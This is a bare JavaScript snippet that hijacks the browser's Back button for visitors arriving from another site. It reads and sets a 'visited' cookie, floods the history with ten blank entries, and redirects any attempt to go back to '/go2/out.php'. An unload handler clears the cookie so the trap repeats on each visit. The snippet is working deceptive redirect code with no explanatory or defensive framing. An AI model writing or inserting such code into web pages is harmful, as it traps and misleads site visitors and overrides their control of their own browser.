function get_cookie(name){ var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return matches ? decodeURIComponent(matches[1]) : null; } !function(){ var v = get_cookie('visited'); if(!v){ document.cookie="visited=1; path=/;"; if(location.hostname !== document.referrer.split('/')[2]){ var t; try{ for(t=0; 10>t; ++t) history.pushState({},"",""); onpopstate = function(t){ t.state && location.replace("/go2/out.php"); } } catch(o){} } } }(); window.onbeforeunload = function(){ document.cookie = "visited=1; max-age=0"; }